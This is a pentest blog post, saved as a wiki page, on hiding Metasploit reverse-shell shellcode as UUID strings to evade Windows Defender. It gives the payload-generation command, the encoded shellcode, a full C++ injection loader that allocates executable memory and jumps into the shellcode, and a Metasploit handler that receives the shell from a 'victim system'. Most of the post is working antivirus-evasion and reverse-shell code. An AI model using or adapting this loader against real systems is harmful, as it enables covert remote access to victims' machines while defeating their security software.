You've loaded an old revision of the document! If you save it, you will create a new version with this data. Media Files{{tag>IT-Security Windows Kali pentest obfuscation blog english}} ====== Obfuscation: Disguise shellcode as UUIDs - Part 1 ====== {{it-security:blog:a3896ce4-2725-4074-8a65-98fb4aa4d0c3.webp?400x200|}} In the last [[en:it-security:blog:shellcode_injection-4|blog post]] we dealt with the development of a calc.exe shellcode. The injection method that I used for testing was immediately blocked by Windows Defender. I therefore had to adapt the loader and shellcode accordingly. I came up with the idea of converting the opcodes into a string array, which is filled with [[https://de.wikipedia.org/wiki/Universally_Unique_Identifier|UUIDs]] is filled. These then have to be converted back into bytes before injection. To do this, I wrote an encoder and decoder that does exactly this. ===== Tools ===== The encoder is part of my shellcode tool [[https://github.com/psycore8/shencode|ShenCode]], which is available as open source. ===== Step1: Prepare shellcode ===== ==== generate ==== We create a payload without further encryption or encoding. This is usually recognised by Windows Defender. <code bash> python shencode.py create -c="-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw" </code> ==== encode ==== We now encode this payload as UUID strings. <code bash> python shencode.py encode -f shell_rev.raw -u </code> The output now looks something like this: <code cpp> [*] try to open file [+] reading 240906.001 successful! [*] try to generate UUIDs std::vector<std::string> sID = { "fce88f00-0000-6031-d264-8b523089e58b", "520c8b52-148b-7228-0fb7-4a2631ff31c0", "ac3c617c-022c-20c1-cf0d-01c74975ef52", "578b5210-8b42-3c01-d08b-407885c0744c", ... "c85fffd5-83f8-007d-2858-68004000006a", "0050680b-2f0f-30ff-d557-68756e4d61ff", "d55e5eff-0c24-0f85-70ff-ffffe99bffff", "ff01c329-c675-c1c3-bbf0-b5a2566a0053", "ffd5" }; [+] DONE! </code> ===== Step 2: Write Inject.cpp ===== ==== Header ==== === obfuscated shellcode === We create a new C++ project and adopt the obfuscated string array that we created previously. <code cpp> #include <stdio.h> #include <windows.h> #include <iostream> #include <sstream> #include <vector> #include <iomanip> #pragma warning std::vector<std::string> sID = { "fce88f00-0000-6031-d264-8b523089e58b", "520c8b52-148b-7228-0fb7-4a2631ff31c0", "ac3c617c-022c-20c1-cf0d-01c74975ef52", "578b5210-8b42-3c01-d08b-407885c0744c", ... "c85fffd5-83f8-007d-2858-68004000006a", "0050680b-2f0f-30ff-d557-68756e4d61ff", "d55e5eff-0c24-0f85-70ff-ffffe99bffff", "ff01c329-c675-c1c3-bbf0-b5a2566a0053", "ffd5" }; </code> ==== Encoding and injection ==== === Remove superfluous characters === Firstly, we need a function to remove the ''-'' characters. We pass a string to this function, which is then cleaned up. <code cpp> void removeDashes(std::string& str) { str.erase(std::remove(str.begin(), str.end(), '-'), str.end()); } </code> === Convert strings to bytes === The next function converts the UUID strings into executable bytes. The string array is run through piece by piece: * Remove from ''-'' * Read 2 characters and return them as bytes * When the string array has been run through, return the generated byte array to the caller <code cpp> std::vector<uint8_t> convertToBytes(const std::vector<std::string>& inputStrings) { std::vector<uint8_t> byteArray; for (const auto& str : inputStrings) { std::string cleanStr = str; removeDashes(cleanStr); for (size_t i = 0; i < cleanStr.length(); i += 2) { if (i + 1 < cleanStr.length()) { std::string byteString = cleanStr.substr(i, 2); uint8_t byte = static_cast<uint8_t>(std::stoi(byteString, nullptr, 16)); byteArray.push_back(byte); } } } return byteArray; } </code> === Main programme === The main program initialises the variables, calls the conversion function, outputs the bytes to the console and then executes the injection. To disguise this process somewhat, the function ''%%memcpy%%'' is not called directly, but linked to our own function via a pointer. <code cpp> int main() { std::vector<std::string> input = sID; std::vector<uint8_t> result = convertToBytes(input); unsigned char* Payload = reinterpret_cast<unsigned char*>(result.data()); size_t byteArrayLength = result.size(); std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl; for (size_t i = 0; i < byteArrayLength; ++i) { std::cout << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(Payload[i]) << " "; if ((i + 1) % 8 == 0) { std::cout << std::endl; } } void* (*memcpyPtr) (void*, const void*, size_t); void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpyPtr = &memcpy; memcpyPtr(exec, Payload, byteArrayLength); ((void(*)())exec)(); return 0; } </code> ===== Step 3: Test functionality ===== ==== Metasploit handler ==== We start a Metasploit handler on the attack system to receive the reverse shell: <code ruby> msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > run -p windows/x64/shell/reverse_tcp lhost=0.0.0.0 lport=15666 [*] Started reverse TCP handler on 0.0.0.0:15666 </code> ==== Compile Inject.cpp ==== We then compile our Inject.cpp as a 64-bit programme. We then copy this to the victim system. After the copying process, the file is not recognised. We scan it once manually with Windows Defender. {{it-security:blog:2024-220-1.png}} This also looks good. ==== Execute ==== We now execute the file and wait for the result. Unfortunately, nothing happens at this point except waiting. A look at the shellcode also immediately reveals why this is the case: <code stylus> "c85fffd5-83f8-007d-2858-68004000006a", </code> We have generated a raw payload from metasploit. This contains a lot of null bytes and these prevent correct execution. This was quite annoying as my first tests went through. I repeated the whole process with metasploit's internal XOR encoder and defined null bytes as bad characters. This allowed me to spawn the shell, but the XOR decoder is detected in memory and Windows Defender sounds an alarm. ===== Conclusion ===== The UUID obfuscation works and protects the file when accessing the hard drive. After execution, memory protection is required to prevent detection. I will show this in the next part. ~~DISCUSSION~~Please solve the following equation to prove you're human. 135 -3 = Please keep this field empty: SavePreviewCancel Edit summary Note: By editing this page you agree to license your content under the following license: CC Attribution-Noncommercial-Share Alike 4.0 International